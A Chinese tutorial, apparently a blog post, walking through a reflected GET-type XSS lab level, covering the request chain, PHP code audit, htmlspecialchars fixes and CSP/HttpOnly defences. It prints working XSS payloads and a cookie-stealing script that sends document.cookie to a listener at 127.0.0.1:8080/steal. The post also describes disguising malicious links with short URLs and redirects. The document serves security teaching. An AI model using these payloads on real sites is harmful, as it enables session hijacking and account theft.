☰
反射型XSS的GET型靶场实战:从触发链到代码审计与防御
2026/10/20 23:58:38 网站建设 项目流程

做Web安全测试的人,绕来绕去都会碰到一道入门菜:反射型XSS。这次要聊的这套靶场第五关,恰好把反射型XSS的GET型形态单独拎了出来:输入框里提交的内容,会通过URL参数传给后端,后端再原样拼到页面输出。反射型XSS看起来只是弹个窗,但背后牵扯的是数据信任边界、输出点编码和整套代码审计思路。这篇文章会把通关过程、代码审计、修复方案和测试中容易踩的坑一起过一遍,适合刚开始刷漏洞靶场、想弄懂漏洞成因、或者正在做防御落地的读者。整个流程我在本地靶场实测过,下面的操作和问题都是真实遇到的。

1. 先理清反射型XSS的触发链路

1.1 一次请求要经过哪几个关键节点

反射型XSS不是靠“某个功能”单独存在,而是靠一条完整的请求链路。当你在第五关的输入框里写一个名字并提交,浏览器会把这个名字拼到URL的GET参数里,发到服务器;服务器端的代码把参数直接取出来,再和HTML模板拼在一起,作为HTTP响应返回;浏览器收到响应后,把这段内容当成HTML解析并渲染。如果参数里只是普通文本,页面看起来就多了一句问候;如果参数里带的是<script>标签,浏览器就会把它当作页面的一部分执行。

这个过程叫“反射”,核心特征是数据不会落到数据库里,只是在服务器上“路过”一次。用一个生活类比:反射型XSS就像你去柜台对店员说了一句话,店员没有检查,直接把这句话放到灯牌上播放。你说普通问好没事,如果说的是一句命令,灯牌就会执行。理解这个链路,比记住任何Payload都重要,因为后面调存储型、DOM型时,换的只是数据来源和出口,核心依然是“用户输入能不能控制代码执行”。

1.2 存储型、反射型、DOM型怎么快速区分

很多新手容易把三种XSS混在一起,我习惯用两个维度区分:数据存在哪里,以及谁负责把数据变成HTML。

XSS类型数据存放位置触发时机典型入口
反射型不持久化,仅在请求响应中出现受害者点击恶意链接后,当前请求被利用URL参数、搜索框、表单提交
存储型写入数据库、文件或缓存其他用户访问含有恶意数据的页面时触发评论、留言、个人资料
DOM型服务端可能完全不参与前端脚本读取URL或存储,动态写入DOM时触发location.hash、postMessage、前端路由参数

反射型的特征最明显:你提交一个参数,响应内容里能直接看到提交的原文。存储型则需要先写入,再用另一个用户身份触发,测试时通常要开两个浏览器角色。DOM型最容易迷惑人,因为改动发生在浏览器端,抓包看响应Body里没有服务端渲染出来的恶意标签,必须看前端JS代码怎么处理数据。靶场这一关是标准的反射型,等刷到后面关卡时再用这个框架对照,思路会很清晰。

1.3 GET型反射XSS为什么单独拿出来练

GET型反射XSS的特殊性在于参数完全暴露在URL里。好处是调试非常方便,请求和响应一眼就能看清,适合教学;坏处是攻击者也更容易构造恶意链接。受害者只需要点一下链接,浏览器就会自动带上Payload发起GET请求,触发成本非常低。POST型反射XSS在实际利用上难度更高,因为攻击者需要诱导受害者提交一个被构造好的表单,或者借助脚本自动提交,做不到“点链接就中招”。

另外,GET参数会出现在浏览器历史、访问日志、反向代理日志、CDN日志里。即使Web应用本身不持久化用户输入,这些日志也变成了一种“变相存储”。所以在实际测试中,如果发现一个内网系统存在GET型反射XSS,影响面可能比预想的更大——管理员日志、监控服务器里可能都留下了恶意参数痕迹。靶场把GET型放在第五关,目的就是先把这条最清晰的链路练熟。

2. 第五关通关实操:从无害输入到弹窗

2.1 环境准备与观察工具

我用的是一台本地虚拟机,装好了一套带漏洞的Web靶场,数据库和路由都初始化完,直接访问第五关页面。页面上只有一个文本框和一个提交按钮,没有任何提示说漏洞在哪,这正是需要自己判断的地方。建议准备一个抓包工具来看原始请求和响应,比如Burp Suite这类工具;不想装额外工具,只用浏览器开发者工具也完全够用,因为GET型XSS的请求构造很直观。

开始测试前,把浏览器缓存和历史记录清理一下,避免旧页面干扰。打开开发者工具的Network面板,并勾选Preserve log,这样即使页面刷新或跳转,请求记录也不会丢。这个习惯在测XSS时非常实用,很多问题通过看Raw请求和Raw响应能立刻定位。

2.2 先输入无害数据找出参数名和输出点

我随手输入test001,点击提交,地址栏变成了类似http://靶场地址/?message=test001的格式。这里立刻得到两个关键信息:请求方式是GET,参数名是message。页面正文出现了一行类似“Hello test001”的问候语,说明服务端把参数值直接拼进了HTML。

此时不要急着弹窗,先右键查看网页源码,找到刚才输出的那句话。如果输入内容出现在HTML标签内部,比如<p>Hello, test001</p>,说明这是标准HTML上下文;如果出现在value属性里,比如<input value="test001">,则需要闭合引号才能绕过。这个判断直接决定Payload怎么写。第五关这种直接输出在标签文本里的结构,是最经典的反射型XSS入口。

2.3 注入第一个Payload并处理浏览器拦截

确认输出点后,我在输入框里提交<script>alert(1)</script>。理论上页面会弹窗,但实测时第一次并没有弹出来,因为部分浏览器会拦截响应中出现完整<script>标签且内容来自请求参数的情况。这不代表靶场没漏洞,只代表Payload被浏览器安全机制“教育”了。

解决方案是换一个不那么容易被整段拦截的Payload。我改用<img src=x onerror=alert(1)>,提交后页面成功弹窗。原因是img标签的报错事件在HTML解析时触发,而且这种写法不会在响应里形成完整的脚本块,浏览器过滤规则不容易一刀切。如果你用事件型Payload还是弹不出来,再检查是不是浏览器CSP或其他安全插件干扰。

Payload输入不一定非要在输入框里完成,也可以直接在地址栏URL中构造完整的/?message=<img src=x onerror=alert(1)>。手动输入时浏览器会自动做URL编码,实际发送的是%3Cimg%20src=x...,这是正常现象。

2.4 用开发者工具把请求链路看得更明白

弹窗成功之后,我进入Network面板看这次请求的Raw信息。请求行是GET /?message=%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1,Response Body里则是解码后的明文:<p>Hello, <img src=x onerror=alert(1)></p>。这一对比很有意义:URL里的尖括号被百分号编码,是因为URL不允许裸尖括号;服务端拿到的是解码后的原始字符串;响应里再以HTML形式输出,浏览器最终渲染时执行了事件。

再配合“查看网页源代码”而不是看控制台的Elements面板。Elements里显示的是DOM最终状态,可能已经被JS修改过;源码里才是服务端真正返回的HTML。对审计来说,看Raw响应比看DOM更重要,因为服务端返回什么、浏览器怎么解析,是两个层面的事。

2.5 从弹窗升级到信息窃取验证

弹窗只能证明“JS能执行”,利用价值有限。我把Payload改成<script>alert(document.cookie)</script>,重新提交,弹窗中显示了当前网站的会话Cookie。这一步说明攻击者能读取当前域的Cookie,如果Cookie没有设置HttpOnly,就能被带走。

在本地靶场,我还会用一个更贴近实战的Payload做验证:<script>new Image().src='http://127.0.0.1:8080/steal?c='+encodeURIComponent(document.cookie)</script>。思路是把Cookie作为图片请求的URL参数发给攻击者控制的监听端口,绕开跨域里比较麻烦的AJAX限制。本机起一个HTTP监听端口就能观察到请求是否到达。注意,这种行为只能在自己搭建的靶场或者获得书面授权的范围内试验,绝对不要打到别人系统上。

3. 代码审计:这个漏洞究竟写在哪个环节

3.1 从入口开始追踪参数接收

靶场之所以出现反射型XSS,问题通常不在“接收参数”,而在“接收后如何处理”。以常见PHP写法为例,代码可能是这样:

<?php if (isset($_GET['message'])) { $name = $_GET['message']; echo "<p>Hello, " . $name . "</p>"; } ?>

这段代码里,$_GET['message']是用户可控数据,$name被直接拼接到echo输出的HTML字符串中。输入<script>alert(1)</script>后,响应变成<p>Hello, <script>alert(1)</script></p>,浏览器把<script>识别为标签,执行了里面的JavaScript。

这里有一个容易忽略的细节:PHP的$_GET会自动完成URL解码,所以发送的编码值到服务端已经恢复成明文。如果代码里还做了urldecode或者二次解码,还可能造成“双重编码”绕过,但这一关没有这种复杂处理,属于最直白的拼接。审计时看到这种“接收-拼接-输出”一条线走到底的代码,基本可以立刻标为XSS可疑点。

3.2 输出点没做编码才是根因

如果把漏洞归因到“没过滤”,方向其实不够精确。真正的问题是输出点缺少上下文编码。<script>标签在HTML里根本不该显示给用户作为文本,但浏览器解析时会把尖括号当成结构语法。要阻止它,应该在输出到HTML之前,把<,>、双引号、单引号等字符转成HTML实体。

常见的危险输出模式有很多种:

危险写法问题说明
echo "<p>$name</p>"直接拼接,适合闭合标签注入
echo "<input value='$name'>"属性上下文,可闭合引号注入事件
include "template.php"后变量未转义输出模板中同样需要编码
echo json_encode($data)后前端用innerHTML插入数据进入HTML而不是文本节点

不管哪种模式,都要带着“输出上下文”去分析。HTML标签内、属性内、script块内、CSS内,需要的转义规则完全不同。靶场第五关的代码只用到了最简单的HTML文本拼接,所以普通script标签就能打穿。

3.3 审计时怎么快速定位同类问题

我的做法分三步。第一步,找出所有外部输入源,常见的有$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER等。第二步,跟踪这些变量去了哪里,看是否被拼进HTML、JS、CSS或URL。第三步,看输出位置有没有调用htmlspecialchars、htmlentities、模板转义函数或白名单校验。

用IDE或文本编辑器的全局搜索功能,搜索echo、print、print_r、sprintf、die附近拼变量等关键词。对于模板文件,搜索{!! !!}、|raw这类关闭转义的操作。如果发现某个变量从请求进来之后“一路绿灯”到输出,基本就是漏洞。手工审计虽然效率不如扫描器,但对数据流的理解会更深,真遇到绕过型漏洞时更有底气。

3.4 审计原理解释:为什么事件型Payload能生效

<img src=x onerror=alert(1)>能生效,是因为浏览器在加载图片失败时会触发onerror事件,而onerror里写的JavaScript会被执行。这类Payload对“能不能闭合标签”的要求更低,哪怕输入只被原样放在标签内,只要引号和属性控制得当,也能构造出来。

代码审计时也要反过来想:如果你只过滤了<script>,是不是把<img onerror>、<svg onload>、<a href="javascript:...">这些都忘了?黑名单永远追不上浏览器对HTML的宽容解析。真正可靠的方案,是在输出端做基于上下文的编码或白名单转义,而不是试图记住所有危险标签。

4. 反射型XSS的危害不止“弹个窗”

4.1 攻击者在受害者浏览器里能做哪些事

一旦恶意脚本执行,攻击者拿到的就是受害者在当前站点下的完整DOM和执行权限。直接能做的事至少包括:通过document.cookie读取会话标识,配合会话固定或劫持手法冒充用户;读取页面内未脱敏的表单数据、本地存储中的Token或用户信息;以受害者身份在当前站点发起AJAX请求,趁用户已登录的状态执行改密、转账、发消息等敏感操作;把页面原本的表单替换成钓鱼表单,诱导用户提交更多账号密码。

反射型XSS和存储型XSS的危害级别不能只按“弹窗”判断。很多安全团队把反射型XSS定为中危,但当它出现在登录后可访问的后台、内网管理页面、关键交易功能中时,配合管理员等高权限角色,完全可能变成高危甚至严重漏洞。

4.2 利用前提是受害者会点那条链接

反射型XSS的攻击闭环,必须有人点击攻击者构造的链接。攻击者可以把完整URL编码后发给受害者,“URL编码的Payload比较长、一眼就能看出不对劲”,所以实际钓鱼中会配合短链接、正常域名前置、跳转页面来做伪装。比如让用户先打开一个正常的文章,再跳转到目标站点的恶意参数链接。

链接里的Payload可以放在message参数里,也可以放在redirect、next、callback等容易被忽略的参数里。只要后端会取这个参数并回显到页面,就是一个潜在发射点。这种场景在真实业务中非常多,搜索功能、错误提示、签到页回跳参数,都可能出现。

4.3 认证后的页面往往是更严重的坑

我在刷靶场时会刻意提醒自己:不要只盯着登录页和首页。反射型XSS最容易被忽略的场景,是用户登录后才会访问的页面。比如个人信息页里的昵称回显、订单编号、历史搜索记录,这些位置一旦把用户可写的字符串拼进HTML,就可能被用作横向影响其他用户的入口。

如果后台页面里存在反射型XSS,攻击者可以诱导管理员点击构造好的链接,然后脚本以管理员的身份执行,直接修改配置、导出敏感数据。这也是为什么漏洞报告中不能简单写“存在XSS”,还要给出触发位置、用户角色和影响路径。

5. 修复与防御:从靶场代码到生产环境

5.1 输出编码是必须守住的底线

修复反射型XSS最直接有效的手段,是在输出位置做HTML上下文编码。以刚才的PHP代码为例,修复后可以写成:

<?php $name = htmlspecialchars($_GET['message'] ?? '', ENT_QUOTES, 'UTF-8'); echo "<p>Hello, " . $name . "</p>"; ?>

这样<script>会被转成&lt;script&gt;,浏览器在页面中只把它当普通文本显示,不会再当成标签执行。关键是这个函数必须用在输出环节,不要只在输入时转义一次然后把结果存库。数据可能在不同场景被复用,同一个字符串在HTML、JS属性、URL参数里需要的编码方式都不一样,输出时再编码才能保证“当前上下文”下的安全。

5.2 输入校验是辅助,不能替代输出编码

有的开发者会写黑名单过滤,把script、onerror、javascript:等关键字去掉。这种方案在靶场里“看着有效”,但攻击者很快就能用大小写混写、HTML实体编码、Unicode分隔符、换行绕过。更合适的方式是白名单,比如名字只允许中英文、数字和少量字符,配合长度限制,这样绝大多数恶意输入直接进不来。

但白名单也有边界。比如搜索框允许用户输入任意关键词,做白名单就不现实;富文本编辑器需要支持加粗、链接、图片,过滤逻辑会复杂很多。所以输入校验只能当辅助,真正要依赖的还是输出编码和浏览器侧策略。

5.3 纵深防御:别把宝押在一道关卡上

单靠输出编码已经能防住大部分反射型XSS,但最好再加几层兜底。第一,设置Content-Security-Policy响应头,比如script-src 'self' 'nonce-xxx',让浏览器拒绝执行内联脚本,即使攻击者的Payload进了HTML也不会被当成可执行JS。第二,给关键Cookie设置HttpOnly和Secure属性,让document.cookie读不到会话标识。第三,接口响应设置合适的X-Content-Type-Options: nosniff,避免浏览器把非脚本响应猜成脚本执行。

这些措施不是互相替代的关系,而是纵深防御。攻击者也许能绕过一个过滤点,但要同时绕过输出编码、CSP、HttpOnly,难度呈指数上升。对于老项目,哪怕不能立刻改完所有输出点,先把CSP加上也能显著降低风险。

5.4 修复后怎么回归验证,而不是改完就跑

修复完不要只看“不弹窗了”就收工,要回到代码里确认编码函数覆盖了所有输出路径。我习惯重新提交<script>alert(1)</script>,查看响应Body,确认尖括号变成了实体;再提交"><img src=x onerror=alert(1)>,验证属性上下文是否也被编码覆盖。

还可以用浏览器的无痕窗口测试,排除缓存干扰。只有响应Body里始终看不到可执行的尖括号标签,才能说明修复生效。考虑到同一个变量可能出现在多个模板中,修复时最好全局搜索一遍该变量的输出点,逐个补齐编码,不要只修一个页面。

6. 常见问题与排查技巧实录

6.1 弹不出窗的几类常见原因

我刚练这一关时,弹不出窗第一反应是“靶场坏了”,后来才发现大部分是环境问题。现代浏览器拦截是最常见的,比如<script>alert(1)</script>被安全机制直接吞掉,可以换<img src=x onerror=alert(1)>试试。其次是浏览器扩展、安全软件在中间拦截,这类需要看拦截日志。再就是页面缓存,旧响应被缓存导致Payload没发出去,强制刷新一下即可。

还有一种情况是Payload虽然进了响应,但输出位置不对。比如数据被输出到<textarea>内部,这时候需要先闭合</textarea>再注入;如果输出到注释里,需要先闭合-->。反射型XSS不是“有输入就能弹”,必须结合输出点的上下文调整Payload。

6.2 URL编码和HTML实体编码不要搞混

很多人在这一步栽跟头。地址栏里看到%3Cscript%3E是URL编码,服务端拿到后会自动解码回<script>;响应Body里如果看到&lt;script&gt;,那是HTML实体编码,浏览器显示为文本,不会执行。要区分漏洞是否存在,一定要看Raw Response里返回的是“可解释的尖括号”还是“转义后的实体”。

如果响应当中Payload是完好无损的<script>,说明防御失效;如果变成了&lt;script&gt;,说明输出去做了编码。不要只看浏览器页面是否显示文字或弹窗,页面显示效果可能被JS动态修改。

6.3 从弹窗进阶到利用验证的正确姿势

弹窗验证通过后,可以再写一个图片请求式Payload验证数据出站:

<script>new Image().src='http://127.0.0.1:8080/steal?c='+encodeURIComponent(document.cookie)</script>

本地用监听端口观察能否收到/steal?c=...的请求。这个方式不依赖AJAX的跨域限制,即使目标页面有CORS约束,图片请求也更容易发出。整个过程我建议只在本地靶场或授权测试环境中进行,并且记录好时间、Payload和日志,方便后续复盘。真实系统上的测试一定要有合同授权,否则本身就是违规行为。

6.4 代码审计时容易漏掉的几个坑

第一,只审计显式的echo,忽略了模板引擎里关闭转义的语法,比如|raw、{!! !!}。第二,只检查了POST参数,忘了GET参数同样可能拼到HTML里。第三,JSON接口明明返回了正常字段,前端却用innerHTML直接插入数据,XSS发生在浏览器端,服务端审计根本看不到。第四,富文本过滤规则允许了onerror等事件属性,等于给攻击者留了后门。第五,同一个变量在A页面做了编码,在B页面漏了,修复不完整仍然可以被利用。

我的习惯是审计完代码后,写一份“变量->输出点”清单,把每个外部输入源的流向标出来,再把修复方式对应上去。这样既能防止漏改,也能在后续代码变更时快速判断是否引入新问题。

我个人把第五关反复刷完三遍后,最大的体会是:反射型XSS与其说是一个漏洞,不如说是一条数据链路的安全验证。能弹窗只是第一步,真正有价值的是顺着代码审计把每个输出点都扫一遍。靶场复现不难,难的是形成条件反射——看到任何从外部进来的数据,先问它会被放到哪个上下文,再决定该编码还是该校验。后面如果继续刷存储型或DOM型,建议你再回来对照这一关的链路,变化的是数据来源和处理方式,核心依旧是输入到输出的控制。多动手把修复也做一遍,比单纯弹十个窗记得都牢。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询